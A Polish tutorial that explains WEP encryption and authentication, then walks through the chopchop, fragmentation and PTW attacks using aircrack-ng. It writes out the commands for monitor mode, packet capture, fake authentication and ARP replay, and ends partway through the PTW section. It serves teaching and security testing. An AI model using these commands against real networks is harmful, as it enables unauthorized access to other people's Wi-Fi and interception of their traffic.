| Spis treści
Wprowadzenie do sieci bezprzewodowych
WEP
Uwierzytelnianie
Przygotowanie interfejsu i podstawy posługiwania się pakietem aircrack-ng
Atak chopchop
Atak fragmentacyjny
Atak PTW (Pychkine, Tews, Weinmann)
Atak na WEP bez klientów
Atak Caffe-Latte i atak Hirte (cfrag)
Wykrywanie ESSID (sieć ukryta)
Test szybkości i jakości połączenia
Wprowadzenie do sieci bezprzewodowych
Obecnie sieci bezprzewodowe (zgodne z Wi-Fi) budowane są głównie w 4 standardach:
- 802.11a: 54 Mbit/s, 5 GHz, początkowo 12 kanałów (nie zachodzących na siebie), obecnie zakres rozszerzono do 24 kanałów.
- 802.11b: 11 Mbit/s, 2.4 GHz, max 14 kanałów (zachodzących na siebie).
- 802.11g: 54 Mbit/s, 2.4 GHz, jw.
- 802.11n: 600 Mbit/s, 2.4/5 GHz, jw.
W powszechnym użytku znajdują się właściwie tylko 2 standardy: 802.11g/n (powszechnie występujące do niedawna sieci w standardzie 802.11b są zastępowane swym szybszym odpowiednikiem 802.11g).
Standard 802.11b korzysta z modulacji DSSS (Direct-sequence spread spectrum), 802.11.g z OFDM (Orthogonal frequency-division multiplexing) lub DSSS a 802.11n z OFDM.
Standard 802.11b/g/n przewiduje użycie 14 kanałów o szerokości 20 MHz (standard 802.11 zakłada, że szerokość kanału powinna wynosić 22 MHz jednak zazwyczaj stosuje się szerokość 20 MHz).
Każdy kanał rozpoczyna się 5 MHz za poprzednim (kanały na siebie nachodzą), poza ostatnim (14 - dozwolony jedynie w Japonii) który oddzielony jest od kanału 13 nie o 5 lecz o 12 MHz. W Polsce dozwolone są kanały 1-13 (w Ameryce Północnej 1-11). Częstotliwości poszczególnych kanałów przedstawiają się następująco:
- 2.412 GHz
- 2.417 GHz
- 2.422 GHz
- 2.427 GHz
- 2.432 GHz
- 2.437 GHz
- 2.442 GHz
- 2.447 GHz
- 2.452 GHz
- 2.457 GHz
- 2.462 GHz
- 2.467 GHz
- 2.472 GHz
- 2.484 GHz
Ze względu na swą szerokość, wszędzie gdzie jest to możliwe, zalecane jest używanie jedynie kanałów: 1, 6, 11 oraz 14 (nie dozwolony w Polsce). W takiej konfiguracji kanały nie będą na siebie zachodziły co znacznie wpłynie na "czystość" sieci (inną kombinacją może być 2, 7, 12 lub 3, 8, 13).

Jeśli szerokość kanału wynosi 20 MHz to z powodzeniem można stosować kanały 1, 5, 9 i 13 (w takiej konfiguracji nie będą się nakładać).
W standardzie 802.11n można korzystać z dwóch przyległych kanałów jednocześnie (channel bonding mode), wówczas zalecane jest korzystanie z zakresu częstotliwości 5 GHz, dla którego dozwolone są kanały (Europa): 36 (5.18 MHz), 40 (5.20 MHz), 44 (5.22 MHz), 48 (5.23 MHz), 52 (5.26 MHz), 56 (5.28 MHz), 60 (5.30 MHz), 64 (5.32 MHz), 100 (5.50 MHz), 104 (5.52 MHz), 108 (5.54 MHz), 112 (5.56 MHz), 116 (5.58 MHz), 120 (5.60 MHz), 124 (5.62 MHz), 128 (5.64 MHz), 132 (5.66 MHz) i 136 (5.68 MHz).
Sieci bezprzewodowe mogą pracować w trybie ad-hoc (peer-to-peer) lub w trybie infrastruktury. Nas interesują te drugie sieci, wykorzystujące centralne urządzenie zwane punktem dostępu (AP - Access Point), pełniące rolę bramy oraz przy okazji pośrednika w komunikacji między przyłączonymi do sieci urządzeniami (topologia gwiazdy).
W AP interesują nas dwa identyfikatory SSID (Service Set Identifier) pozwalające rozróżnić sieci bezprzewodowe: ESSID (Extended Service Set Identifier) oraz BSSID (Basic Service Set Identifier). ESSID to znakowy identyfikator, o którym potocznie mówi się "nazwa sieci". BSSID to adres MAC interfejsu bezprzewodowego AP.
Teraz, gdy mamy już minimalną wiedzę o funkcjonowaniu sieci Wi-Fi możemy przejść do szyfrowania danych.
WEP
WEP (Wired Equivalent Privacy) to standard szyfrowania danych przesyłanych w sieciach bezprzewodowych 802.11. Bazuje na algorytmie RC4 (ARCFOUR) z kluczem PSK (pre-shared key) o długości 40 (WEP-40) lub 104 bitów (WEP-104) (5 lub 13 znaków) połączonym z 24-bitowym wektorem inicjującym (IV - Initialisation Vector), stąd często mówi się o 64 lub 128 bitowym kluczu WEP (choć aby być do końca poprawnym należało by mówić o 64 lub 128 bitowym strumieniu klucza WEP).
Algorytm RC4 pełni tu rolę generatora liczb pseudolosowych (PRGA - Pseudo Random Generation Algorithm).
W rozwiązaniach firmowych można spotkać klucze o długości 232 bitów (+24 bity IV = 256 bitów), które ze względu na słabość IV nie podnoszą istotnie siły kryptograficznej.
Klucz PSK może być zapisany w formacie hex (szesnastkowym), np. "112233445566778899AABCDEFF" lub ASCII, np. "1moje2haslo34", najczęściej mamy do czynienia z kluczami zapisanym w kodzie ASCII (łatwiejsze do zapamiętania i wprowadzenia dla użytkowników).
Zaletą WEP jest szybkość działania, jego wadą właściwie zerowe bezpieczeństwo przesyłanych danych (słabość tego algorytmu została ujawniona już w roku 2001).
Schemat szyfrowania WEP przedstawia poniższy rysunek:

IV po połączeniu z kluczem (sklejony z nim) jest przekazywany do algorytmu RC4, który tworzy z nich strumień klucza (streaming key, nazywany też PRGA). Długość strumienia klucza zależy od długości danych, które będą nim zaszyfrowane. IV wraz z PSK pełnią rolę ziaren - każdy IV jest podstawą do wygenerowania następnego IV.
Dla danych, które chcemy zaszyfrować obliczana jest suma kontrolna (algorytmem CRC-32 tworzącym 4 bajtową sumę kontrolną). Suma ta oznaczona jest jako ICV (Integrity Check Value). Dane wraz z ICV (sklejone) tworzą ładunek, który będziemy szyfrować za pomocą strumienia klucza za pomocą prostej instrukcji XOR (ładunek i strumień klucza mają taką samą długość), dając w wyniku zaszyfrowany ładunek użyty do przesłania w ramce. Do ramki dodawany jest także IV w postaci niezaszyfrowanej.
Dla przypomnienia XOR jest operacją odwracalną i naprzemienną, np. mając dwa bajty A (01010101) i B (00111100) otrzymamy z nich C (01101001). Między A, B i C istnieją następujące zależności:
A XOR B = B XOR A = C
C XOR A = A XOR C = B
C XOR B = B XOR C = A
A = 01010101
B = 00111100
XOR
C = 01101001
C = 01101001
A = 01010101
XOR
B = 00111100
C = 01101001
B = 00111100
XOR
A = 01010101 |
Jak widzimy mając dwie z trzech danych możemy z nich zawsze uzyskać trzecią wartość.
Szyfrowana jest tylko część pakietu zawierająca dane. Nagłówek ramki 802.11 pozostawiany jest w jawnym tekście. Ponadto ramki zarządzające i kontrolne nie są szyfrowane.
Każda porcja danych szyfrowana jest przy użyciu innego strumienia klucza (IV ciągle się zmienia), jednak WEP wcale nie wymusza stosowania innych IV do szyfrowania kolejnych porcji danych. W atakach na WEP po uzyskaniu PRGA (strumienia klucza) możemy cały czas wysyłać (wstrzykiwać) pakiety zaszyfrowane jednym i tym samy strumieniem klucza.
Sam IV wykazuje duże słabości (24 bity = 2^24 = 16.777.216 możliwych IV) - w praktyce okazuje się, że już kilka tysięcy pakietów pozwala osiągnąć 50% prawdopodobieństwo kolizji (wykorzystanie tego samego IV). Poza tym niektóre IV są "słabe" - pozwalają poznać klucz już przy 5% czasu potrzebnego na jego poznanie dla innych IV. Zbierając wystarczająco dużo danych można stwierdzić najbardziej prawdopodobny klucz.
Proces rozszyfrowywania przebiega bardzo prosto. Klient po otrzymaniu pakietu wyciąga z niego IV (przesłany w pakiecie jawnym tekstem). Jeśli klient zna poprawny klucz PSK to po sklejeniu IV z PSK jest w stanie rozszyfrować pakiet (XOR).
Uwierzytelnianie
Klient aby połączyć się z AP najpierw musi zostać uwierzytelniony (authenticated). Pakiety z danymi pochodzące od nieuwierzytelnionych klientów będą przez AP porzucane.
AP może pracować w trybie otwartym (open system) lub w trybie z kluczem współdzielonym (shared key), który w przypadku sieci z szyfrowaniem WEP jest taki sam jak klucz PSK.
Uwierzytelniania i szyfrowania nie należy ze sobą mylić. Są to dwa oddzielne mechanizmy.
Klient chcąc przyłączyć się do sieci z uwierzytelnianiem otwartym wysyła prośbę (w postaci niezaszyfrowanej) o uwierzytelnienie (authentication request), na którą AP odpowiada wysyłając odpowiedź (authentication replay) umożliwiając lub nie na dalszą komunikację (AP uwierzytelnia klienta).
Uwierzytelnianie z kluczem współdzielonym polega na wysłaniu przez klienta prośby o uwierzytelnienie. Na taką prośbę AP odpowiada wysyłając do klienta wyzwanie (challenge) - pewien ciąg bajtów. Klient szyfruje wyzwanie kluczem współdzielonym i odsyła do AP. AP rozszyfrowuje wyzwanie i sprawdza, czy dane otrzymane od klienta po rozszyfrowaniu zgadzają się z wysłanym wyzwaniem. Jeśli tak to oznacza to, że klient zaszyfrował wyzwanie prawidłowym kluczem i AP uwierzytelnia klienta zezwalając mu na dalszą komunikację.
W sieciach z szyfrowaniem WEP uwierzytelnianie z kluczem współdzielonym nie jest zalecane, gdyż klucz ten jest taki sam jak klucz do szyfrowania danych. W ten sposób można bardzo łatwo podsłuchać klucz PSK - wystarczy, podsłuchując uwierzytelniających się klientów, przechwycić wyzwanie od AP do klienta (jawny tekst) i następnie odpowiedź klienta do AP (zaszyfrowane wyzwanie), które z operacji XOR da nam klucz WEP.
Dopiero po uwierzytelnieniu może nastąpić przyłączenie klienta do AP (asocjacja). Proces ten ponownie inicjuje klient wysyłając pakiet (association request) zawierający, m.in. SSID, obsługiwane szybkości, itp. AP odpowiada pakietem (association response) z przydzielonym identyfikatorem przyłączenia.
Po przyłączeniu może nastąpić wymiana danych, wymagająca znajomości klucza PSK (do szyfrowania i odszyfrowania danych).
Przygotowanie interfejsu i podstawy posługiwania się pakietem aircrack-ng
Do ataków wykorzystamy pakiet aircrack-ng, w skład którego wchodzą m.in.: sniffer sieci bezprzwodowej (airodump-ng), narzędzie do wstrzykiwania pakietów do sieci bezprzewodowej (aireplay-ng), narzędzie do przygotowywania pakietów (packetforge-ng) oraz łamacz haseł (aircrack-ng).
Na początek należy podnieść interfejs bezprzewodowy (tu wlan0, w innych systemach interfejs może nazywać się inaczej, np. ath0, ra0, itp.):
Teraz możemy odszukać interesujący AP:
$ iwlist wlan0 scan
wlan0 Scan completed :
Cell 01 - Address: 00:01:E3:11:22:33
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=59/70 Signal level=-51 dBm
Encryption key:on
ESSID:"test"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=0000000007a6d18d
Extra: Last beacon: 973ms ago
IE: Unknown: 000474657374
IE: Unknown: 010C82848B8C12969824B048606C
IE: Unknown: 030101
IE: Unknown: 2A0100
IE: Unknown: 2F0100
IE: Unknown: DD06001018010000
|
Uzyskamy minimum danych potrzebnych do przeprowadzania ataku:
ESSID: test
BSSID: 00:01:E3:11:22:33
Kanał: 1 (2.412 GHz)
Innym sposobem uzyskania tych danych jest użycie sniffera, dającego nam znacznie więcej informacji.
Aby użyć sniffera musimy przełączyć kartę w tryb monitor (odpowiednik trybu promiscous dla kart przewodowych) pozwalającego na akceptowanie wszystkich pakietów docierających do karty a nie tylko tych przeznaczonej dla niej. Do samych ataków potrzebne będzie dodatkowo ustawienie odpowiedniego kanału.
Standardowo operacje te można wykonać poleceniami systemowymi:
# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# iwconfig wlan0 channel 1
# ifconfig wlan0 up
|
Jednak mając pakiet aircrack-ng możemy je sobie darować i użyć odpowiedniego polecenia z tego pakietu:
lub gdy znamy już kanał (1):
# airmon-ng start wlan0 1
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
|
W moim wypadku polecenie airmon-ng utworzyło dodatkowy wirtualny interfejs (o nazwie mon0) i załączyło na nim tryb monitor oraz ustawiło go na podany przez nas kanał 1 (2.412 GHz). Będzie to interfejs wykorzystywany do sniffowania i wysyłania pakietów:
# iwconfig mon0
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:off
|
Chcąc wyłączyć tryb monitor możemy użyć poleceń:
# airmon-ng stop mon0
# airmon-ng stop wlan0
|
lub jeśli załączyliśmy tryb poleceniem systemowym:
# ifconfig wlan0 down
# iwconfig wlan0 mode managed
# ifconfig wlan0 up
|
Mając przygotowany interfejs możemy rozpocząć już sniffowanie na tym interfejsie, które w najprostszej postaci można wywołać tak:
Poniższy rysunek przedstawia opis sniffera:

Na górze sniffera widnieje lista wykrytych AP. Każda linia to inny AP. Kolejne pola oznaczają:
BSSID - adres MAC AP
PWR - moc odbieranego sygnału
Beacons - liczba przechwyconych pakietów kontrolnych
#Data - liczba przechwyconych danych
#/s - aktualna szybkość przechwytywania danych na sekundę
CH - kanał
MB - szybkość sieci
ENC - szyfrowanie (np. OPN, WEP, WPA, WPA2)
CIPHER - algorytm szyfrowania (protokół szyfrujący, np. WEP, TKIP, CCMP)
AUTH - uwierzytelnianie (np. OPN (lub brak), PSK)
ESSID - nazwa sieci.
|
Nas najbardziej interesować będą pola BSSID, CH oraz ESSID. Jeśli sieć jest ukryta w polu ESSID pojawi się nazwa typu "<length: x>" (o tym jak poznać nazwę ukrytej sieci będzie później).
Poniżej listy AP znajduje się lista wykrytych klientów. Każdy wpis klienta posiadać będzie dwa adresy MAC: BSSID wskazujący, z którym AP klient jest połączony (uwierzytelniony) oraz STATION wskazujący na adres MAC klienta. W polu Probes podana jest nazwa sieci, do której klient jest podłączony. Jeśli sieć, do której podłączony jest klient jest ukryta w polu Probes nie pojawi się nic dopókie sniffer nie pozna nazwy ukrytej sieci. Jeśli klient nie będzie połączony z żadnym AP w polu BSSID pojawi się "(not associated)".
W poleceniu airodump-ng przez przełącznik -c możemy ograniczyć się do interesującego nas kanału a dodatkowo przez --bssid do konkretnego AP na tym kanale (jeśli nie potrzebujemy zbierać danych z innych AP mogących działać na tym kanale). Podsłuchane dane możemy zrzucać do wybranego pliku przez przełącznik -w, np. aby na interfejsie mon0 podsłuchiwać jedynie AP o adresie MAC 00:01:E3:11:22:33 pracującym na pierwszym kanale a dane zbierać do pliku o nazwie przechwyt uruchamiamy sniffer poleceniem:
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w przechwyt mon0
|
Działanie sniffera kończymy standardowo kombinacją CTRL+C.
Po zebraniu odpowiedniej ilości pakietów możemy przystąpić do łamania klucza. Służy do tego program aircrack-ng, do którego właściwie nie musimy podawać dodatkowych parametrów.
Program aireplay-ng jest narzędziem do wstrzykiwania pakietów do sieci. Najważniejszym parametrem jest typ ataku, którym może być:
- --deauth (lub -0) licznik: odłączenie stacji (deauth)
- --fakeauth (lub -1) opóźnienie: fałszywe uwierzytelnienie (fakeauth)
- --interactive (lub -2): interaktywna selekcja ramek
- --arpreplay (lub -3): klasyczny atak powtarzania pakietów ARP requests
- --chopchop (lub -4): atak chopchop
- --fragment (lub -5): atak fragmentacyjny
- --caffe-latte (lub -6): atak Caffe-Latte
- --cfrag (lub -7): atak Hirte
- --test (lub -9): test szybkości i jakości sygnału AP
Pozostałe parametry zależą od typu ataku i zostaną opisane przy konkretnych atakach.
Narzędzie packetforge-ng służy do kontstruowania pakietów. Głównym przełącznikiem jest typ pakietu:
- --arp (lub -0): tworzy pakiet ARP
- --udp (lub -1): tworzy pakiet UDP
- --icmp (lub -2): tworzy pakiet ICMP
- --null (lub -3): tworzy pakiet LLC
- --custom (lub -4): tworzy niestandardowy pakiet
Jeśli mamy jakieś problemy z interfejsem bezprzewodowym warto wyłączyć i na nowo załączyć interfejs:
# airmon-ng stop mon0
# airmon-ng stop wlano
# ifconfig wlan0 down
# airmon-ng start wlan0 1
|
Atak chopchop
Koncepcja tego ataku została przedstawiona przez KoreK-a. Atak ten nie pozwala na odzyskanie hasła ale za to pozwala rozszyfrować podsłuchany pakiet bajt po bajcie i przy okazji odzyskać strumień klucza o długości zaszyfrowanych danych, który można następnie wykorzystać do wstrzykiwania pakietów szyfrując je tym strumieniem klucza.
Atak ten wykorzystuje słabość sumy kontrolnej ICV (liniowość CRC-32) oraz słabość samej operację szyfrowania (prostego XOR do łączenia ładunku ze strumieniem klucza).
Do ataku potrzebujemy przechwycenia pakietu. Z zaszyfrowanej części pakietu (zaszyfrowany ładunek) odcinamy (chop) ostatni bajt danych, tak jak na rysunku (zaszyfrowana część składa się z zaszyfrowanych danych i za nimi zaszyfrowanej wartości ICV zapisanej wspak - little-endian).

Odcięcie bajtu (na rysunku odcinamy bajt D5) powoduje, że suma kontrolna (wcześniej I0-I3) takiego ciągu się zmieni. Zaszyfrowane ICV będzie więc teraz nieprawidłowe dla pomniejszonych danych.
Gdy założymy że odcięty bajt miał wartość X (bajt może przyjąć wartość X=0-255), to korzystając z podanego przez KoreK-a równania możemy wyliczyć nową zaszyfrowaną wartość ICV dla naszych skróconych danych (J0-J3). Nadal nie mamy pewności, czy ta nowa wartość ICV jest poprawna (nie wiemy, czy założony X jest prawidłową wartość) ale dalsze czynności zweryfikują jej poprawność.
Konstruujemy nowy pakiet z odciętym bajtem i wyliczoną nową zaszyfrowaną wartością ICV. Taki pakiet odsyłamy do AP.
Jeśli nasze założenie co do wartości odciętego bajtu jest trafne, to wyliczone ICV będzie poprawne, w związku z tym cały pakiet będzie poprawny. AP go zaakceptuje i wyśle odpowiedź do sieci, a ponieważ nadal prowadzimy nasłuch to przechwycimy tą odpowiedź.
Poznamy w ten sposób wartość bajtu jawnej wiadomości (będzie to odszyfrowany ostatni bajt). Ponieważ znamy też jego zaszyfrowaną wartość to z operacji XOR uzyskamy przy okazji jeden bajt strumienia klucza (na pozycji odgadywanego bajtu).
Jeśli odcięty bajt miał inną wartość niż założona przez nas to AP porzuci taki pakiet (rozszyfruje wiadomość i wyliczona przez niego wartość ICV nie będzie zgodna z tą przesłaną przez nas). Zakładamy wtedy, że bajt ten miał inną wartość i ponawiamy cały proces aż do odgadnięcia wartość bajtu (uzyskania odpowiedzi od AP).
Gdy zgadniemy wartość odciętego bajtu to przechodzimy do zgadywania kolejnego bajtu ale tym razem wykorzystujemy do tego nasz skrócony pakiet z prawidłową wartością ICV, itd. dla kolejnych odcinanych bajtów.
Odcinanie bajtów może okazać się problematyczne na niektórych AP, które porzucają pakiety o zbyt małej długości, przez co początkowe bajty zakodowanej wiadomości nie będą mogły być odgadnięte. Z pomocą przychodzi wówczas znajomość stosu TCP/IP i stwierdzenie, że początkowe wartości wiadomości będą prawdopodobnie zawierały nagłówek warstwy wyższej (właśnie dokładnie tak realizowany jest atak chopchop w programie aireplay-ng).
Ponieważ bajt może przyjąć 256 różnych wartości to prawdopodobieństwo odgadnięcia wartości bajtu wynosi 1/256. Cały proces wydaje się bardzo czasochłonny. Przy trafieniu odpowiedź uzyskujemy od razu lecz przy błędnym założeniu musimy odczekać pewien czas (timeout) zanim stwierdzimy, że AP nic nie odeśle i zgadywany bajt ma jednak inną wartość. Cały proces nabiera jednak szybkości, gdy wyślemy całą serię pakietów, każdy z inną zakładaną wartością odcinanego bajtu. W takim wypadku ze 100% pewnością bardzo szybko otrzymamy jedną odpowiedź. Aby jednak stwierdzić, który z wysłanych pakietów spowodował wygenerowanie odpowiedzi musimy w wysyłanym pakiecie umieścić jakiś znacznik identyfikujący go. Wartość znacznika ustawia się na zgadywaną wartość bajtu a sam znacznik umieszcza się w polu docelowego adresu MAC (4 i 5 bajt tego adresu).
Wysyłamy więc serię pakietów, umieszczając w każdym swój znacznik. W rezultacie w końcu przechwytujemy 1 pakiet. Sprawdzamy jaką wartość posiada pakiet w ustawionym przez nas polu (dst-MAC) i na tej podstawie jednoznacznie określamy, jaką wartość ma odcięty bajt.
Przejdźmy teraz do praktyki.
Do przeprowadzenia ataku potrzebujmy informacji o atakowanej sieci:
- nazwy sieci (ESSID)
- kanału, na którym pracuje AP
- adresu MAC AP (BSSID)
- adresu MAC klienta uwierzytelnionego w tej sieci (jak pokażę później sami możemy stać się takim klientem stosując fakeauth)
Ponieważ wiemy już jak uzyskać te informacje (airodump-ng mon0) przechodzimy do samego ataku. Przełączamy kartę w tryb monitor na kanale 1:
# airmon-ng start wlan0 1
|
Mając przygotowany interfejs przystępujemy do sniffowania atakowanego AP:
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 mon0
|
Celem sniffowania jest poznanie adresu MAC jakiegos klienta podlaczonego do AP.
Z interesującym nas AP 00:01:E3:11:22:33 skojarzony jest klient 00:23:45:11:22:33. Znając adres MAC klienta mozemy przerwac skanowanie (CTRL+C) i rozpoczac atak chopchop:
# aireplay-ng -4 -h 00:23:45:11:22:33 -b 00:01:E3:11:22:33 mon0
|
-4 to typ ataku (chopchop)
-h to adres MAC klienta (uwierzytelnionego w atakowanej sieci)
-b to BSSID (adres MAC AP)
Jeśli pominiemy -h zostanie przeprowadzony atak chopchop bez uwierzytelniania, który może nie powieść się na niektórych AP:
Failure: the access point does not properly discard frames with an
invalid ICV - try running aireplay-ng in authenticated mode (-h) instead.
|
Po chwili powinniśmy przechwycić pakiet nadający się do przeprowadzenia ataku. Zostaniemy zapytani czy go użyć:

Odpowiadamy y (lub yes) i po parudziesięciu sekundach pakiet zostanie rozszyfrowany. Uzyskamy w ten sposób dwa pliki: replay_dec-*.cap zawierający rozszyfrowany przechwycony pakiet oraz replay_dec-*.xor zawierający strumień klucza dla rozszyfrowanego pakietu.


Rozszyfrowany pakiet możemy podejrzeć poleceniem tcpdump:
# tcpdump -n -vvv -e -s 0 -r replay_dec-1123-230728.cap
reading from file replay_dec-1123-230728.cap, link-type IEEE802_11 (802.11)
23:07:28.568076 44us BSSID:00:01:e3:11:22:33 SA:00:23:45:11:22:33 DA:00:01:e3:11:22:33 LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype IPv4 (0x0800): (tos 0x0, ttl 128, id 1804, offset 0, flags [DF], proto TCP (6), length 52) 192.168.2.105.1101 > 94.127.76.120.80: S, cksum 0xd4d1 (correct), 200022964:200022964(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,sackOK>
lub w trybie graficznym wiresharkiem:
# wireshark replay_dec-1123-230728.cap

Uzyskany strumień klucza (replay_dec-*.xor) możemy zastosować do innego ataku (można nim szyfrować pakiety).
Atak fragmentacyjny
Atak ten, podobnie jak chopchop, pozwala uzyskać strumień klucza (PRGA), lecz ma nad nim przewagę - pozwala uzyskać do 1500 bajtów PRGA (chopchop pozwala uzyskać tyle bajtów PRGA ile miał crackowany pakiet).
Jest on możliwy, ze względu na budowę zaszyfrowanego pakietu ARP, w którym występują stałe pola. Ponieważ szyfrowanie odbywa się w warstwie łącza danych w podwarstwie MAC (Media Access Control) to nagłówek LLC (Logical Link Control) jest już zaszyfrowany. Nagłówek ten jest rozszerzany przez protokół SNAP (Subnetwork Access Protocol).

Nagłówek SNAP ma rozmiar 5 bajtów a nagłówek LCC 3 bajty, co w sumie daje 8 bajtów. Znajdujący się na początku nagłówek SNAP pozostaje niezmieniony tak jak i pierwszy bajt nagłówka LLC (w sumie 6 bajtów). Pozostałe dwa bajty odpowiadają za protokół wyższej warstwy i mają różne wartości, w zależności od tego czy jest to pakiet ARP czy też inny, przy czym pakiety ARP mają wartość 0x0806. Aby zgadnąć czy mamy do czynienia z pakietem ARP wystarczy sprawdzić długość pakietu (żądania ARP wysyłane w sieciach 802.11 mają długość 68 bajtów).
Wiedząc, że mamy do czynienia z pakietem ARP poznajemy kolejne dwa bajty strumienia klucza (teraz już 8 bajtów - cały nagłówek SNAP i LLC, wiemy jak wygląda taki nagłówek w postaci jawnej i mamy przechwyconą jego zaszyfrowaną postać więc z operacji XOR uzyskamy teraz 8 bajtów PRGA).
Dzięki fragmentacji, pakiet możemy podzielić maksymalnie na 16 części. Każda z takich części jest przez nas oddzielnie szyfrowana przy użyciu tego samego strumienia klucza i po sklejeniu stanowi jedną całość (zaszyfrowaną przy użyciu jednego IV).
Znając więc 8 bajtów strumienia klucza tworzymy pakiet ARP, którego pole danych dzielimy na 4 bajtowe części (do których dojdą 4 bajty CRC = 8 bajtów zaszyfrowanych danych), ustawiając odpowiednie pole w nagłówku mówiące o tym, iż jest to fragment pakietu. Szyfrujemy każdy z fragmentów znanym nam 8 bajtowym strumieniem klucza i odsyłamy do AP.
AP po odebraniu i sklejeniu naszych pakietów prześle taki pakiet ARP w całości zaszyfrowany nowym IV. Podsłuchując ten pakiet poznamy zaszyfrowaną wersję pakietu, który wiemy jak wygląda w jawnej postaci (XOR da nam strumień klucza). Znając już dłuższy strumień klucza możemy ponownie użyć fragmentacji na innym dłuższym pakiecie, dzieląc go na dłuższe fragmenty i uzyskując w ten sposób coraz to dłuższe strumienie klucza aż do maksymalnych 1500 bajtów.
Atak ten wymaga wysłania i odebrania dużej ilości pakietów i nie powiedzie się jeśli któryś z nich zostanie zagubiony, dlatego przez cały czas prowadzenia ataku musimy posiadać dobrą jakość połączenia z AP.
Rozpoczynamy standardowo od ustawienia interfejsu:
Rozpoczynamy atak fragmentacyjny:
# aireplay-ng -5 -b 00:01:E3:11:22:33 -h 00:23:45:11:22:33 mon0
|
-5 to atak fragmentacyjny
-b to adres MAC AP
-h to adres MAC klienta (uwierzytelnionego w atakowanej sieci)
W efekcie zobaczymy:
09:32:47 Waiting for beacon frame (BSSID: 00:01:E3:11:22:33) on channel 1
09:32:47 Waiting for a data packet...
Size: 68, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:01:E3:11:22:33
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:01:E3:11:22:32
0x0000: 0862 0000 ffff ffff ffff 0001 e346 6345 .b...........FcE
0x0010: 0001 e346 6344 10ba 0034 0600 0f65 8d08 ...FcD...4...e..
0x0020: 4d67 7e1d f91f 3788 d5cf 913e cea9 f6aa Mg~...7....>....
0x0030: 7cc4 b26f a0e4 6cec 6a21 50c7 6b39 cb86 |..o..l.j!P.k9..
0x0040: 7db0 269b }.&.
Use this packet ? y
Saving chosen packet in replay_src-1125-093247.cap
09:33:08 Data packet found!
09:33:08 Sending fragmented packet
09:33:08 Got RELAYED packet!!
09:33:08 Trying to get 384 bytes of a keystream
09:33:08 Got RELAYED packet!!
09:33:08 Trying to get 1500 bytes of a keystream
09:33:08 Got RELAYED packet!!
Saving keystream in fragment-1125-093308.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
|
Jak widzimy udało nam się uzyskać całe 1500 bajtów strumienia klucza. Za jego pomocą możemy szyfrować dowolne pakiety i wstrzykiwać do atakowanej sieci.
Atak PTW (Pychkine, Tews, Weinmann)
Od czasu, gdy w 2001 roku Scott Fluhrer, Itsik Mantin i Adi Shamir zaprezentowali atak FMS dużo się zmieniło.
Liczba wymaganych IV potrzebnych do złamania klucza WEP zależy od jego długości. W starej metodzie zwykle 40-bitowy WEP (64 bitowy strumień klucza) może być złamany z 300.000 IV, a 104-bitowy WEP (128-bitowy strumień klucza) wymaga 1.500.000 IV.
W 2007 roku trzem naukowcom (Andrei Pychkine, Erik Tews i Ralf-Philipp Weinmann, stąd nazwa ataku PTW) udało się opracować metodę redukującą tą liczbę.
W metodzie PTW liczba ta wynosi odpowiednio dla 40-bitowego WEP ok. 20.000 pakietów, a dla 104-bitowego WEP ok. 40.000 pakietów. Przy takiej ilości IV istnieje 50% prawdopodobieństwo odgadnięcia klucza. Niekiedy jednak zdarzają się sytuacje wymagające przechwycenia ponad 100.000 pakietów.
Główną zaletą PTW jest niewielka ilość danych potrzebna do złamania WEP (zebranie 100.000 pakietów w ruchliwej sieci to kwestia paru minut). PTW ograniczony jest do WEP 64 i 128.
Przechodzimy do ataku.
Jeśli interfejs nie jest przygotowany to ustawiamy go w odpowiedni tryb i kanał:
# airmon-ng start wlan0 1
|
Zaczynamy od przechwycenia odpowiedniej ilości pakietów. Tym razem pakiety będziemy zapisywać do pliku (-w):
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w pakiety mon0
|
Do ataku potrzebujemy samych wektorów inicjujących, jeśli więc zależy nam na przestrzeni dyskowej możemy zbierać jedynie same IV (--ivs) zamiast całych pakietów:
# airodump-ng -c 1 --ivs --bssid 00:01:E3:11:22:33 -w pakiety mon0
|
Powstanie wówczas plik pakiety-01.ivs zamiast pakiety-01.cap.
Po rozpoczęciu nasłuchu w drugim terminalu przeprowadzamy cały atak. Próbujemy się uwierzytelnić (fakeauth - fake authentication, fałszywe uwierzytelnienie):
# aireplay-ng -1 0 -e "test" -a 00:01:E3:11:22:33 -h 00:23:45:11:22:33 mon0
|
-1 0 to atak fakeauth z zerowym opóźnieniem
-e to nazwa atakowanej sieci
-a to MAC AP
-h to MAC klienta
Fakeauth powinien przebiec bez problemu, ponieważ podłączamy się do sieci WEP z uwierzytelnianiem otwartym. Gdyby w sieci zastosowane było uwierzytelnianie z kluczem współdzielonym należało by znać kilka bajtów strumienia klucza (fakeauth również sobie z tym radzi).
Po udanej asocjacji wysyłamy fałszywe pakiety ARP request (atak ARP replay):
# aireplay-ng -3 -b 00:01:E3:11:22:33 -h 00:23:45:11:22:33 mon0
|
-3 to atak powtarzania ARP request
-b to MAC AP
-h to MAC klienta

W ataku arpreplay program nasłuchuje pakietów ARP i retransmituje je do AP. Powoduje to, że AP powtarza wysyłanie pakietu ARP z nowym IV. Program w kółko wysyła ten sam pakiet ARP a w rezultacie przechwytujemy coraz to inne IV od AP. Od tego momentu ilość przechwyconych danych powinna drastycznie wzrastać (kolumna #Data przy atakowanym AP).

Po przechwyceniu kilku tysięcy pakietów przerywamy (CTRL+C) wysyłanie (drugi terminal) i przechwytywanie (pierwszy terminal) pakietów.
